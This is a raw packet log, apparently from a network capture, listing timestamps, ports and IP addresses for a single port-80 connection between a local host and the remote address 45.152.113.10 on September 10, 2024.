Sep 10, 2024 19:36:07.576320887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576329947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576333046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576343060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576373100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576384068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.576385975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576395988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.576436996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625389099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625580072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625684977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625694990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625710011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625720978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625729084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625737906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625746965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625749111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625756979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625771999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625781059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625788927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625790119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625798941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625801086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625808001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625818014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625825882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625834942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625838041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625845909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625859022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625866890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625868082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625889063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.625893116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625911951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.625937939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626095057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626105070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626112938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626121044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626131058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626138926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626141071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626149893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626173973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626173973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626214027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626640081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626661062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626671076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626677990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626682043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626709938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626709938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626818895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626836061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626847982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626857996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626862049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626868010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626873970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626879930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626889944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626899004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626899958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626909971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626919031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626928091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626950979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.626957893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626967907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626976967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626986980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.626996994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627006054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627011061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627017021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627027035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627033949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627037048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627047062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627057076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627057076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627065897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627074003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627077103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627104044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627115011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627125978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627125978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627149105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.627156973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627177954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.627187967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648085117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648107052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648118019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648127079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648139000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648149967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648161888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648189068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648253918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648741007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648781061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648792028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648796082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648818970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648833990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648839951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648844957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648855925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648865938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648878098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648879051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.648897886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.648926020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649091005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649137974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649144888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649156094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649194956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649207115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649216890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649225950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649255037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649265051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649279118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649290085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649302006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649331093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649347067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649352074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649358034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649368048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649378061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649389982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649399042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649400949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.649427891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.649439096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662132978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662142038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662148952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662201881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662235975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662245035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662255049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662265062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662273884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662276983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662283897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662307024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662327051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662354946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662364006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662374020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662384033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662393093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662400007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662414074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662439108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662467957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662477016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662486076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662496090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662514925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662528992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662604094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662623882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662631989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662652016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662673950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662740946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662750959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662760019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662765026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662769079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662790060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662812948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662813902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.662822962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.662858963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.711941957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.711952925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.711962938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712011099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712018967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712023973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712028980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712035894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712080002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712096930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712174892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712184906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712193966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712203979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712213993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712223053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712250948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712300062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712310076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712320089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712327957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712337971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712344885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712347984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712358952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712361097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712368011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712385893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712409019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712697029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712706089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712714911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712723970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712744951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712779999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712830067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712841034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712848902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712872028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712896109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712923050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712933064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712938070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712953091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712973118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712975979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.712984085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.712992907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713004112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713012934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713021994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713030100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713032007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713032007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713038921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713047981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713057995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713071108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713087082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713098049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713099003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713107109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713115931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713124990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713129044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713134050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713144064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713184118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713185072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713184118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713193893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713202953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713212967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713222980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713229895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713238955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713248014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.713258982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.713284969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.747983932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748012066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748023987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748044014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748054028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748065948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748090029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748142958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748153925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748166084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748176098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748184919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748194933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748199940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748205900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748222113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748236895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748271942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748302937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748318911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748328924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748339891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748344898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748349905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748359919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748364925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748369932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748380899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748389959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748420954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748461008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748478889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748488903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748500109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748509884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748511076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748521090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748531103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.748538017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.748568058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.750113010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.750124931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.750135899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.750174999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.750185966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.750256062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.750264883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.750307083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.793931007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.798888922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.921889067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.921942949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.921953917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.921963930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.921979904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922007084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922032118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922041893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922051907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922061920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922075987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922080994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922090054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922095060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922099113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922110081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:07.922122002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:07.922126055 CEST	80	49707	45.152.113.10	192.168.2.5
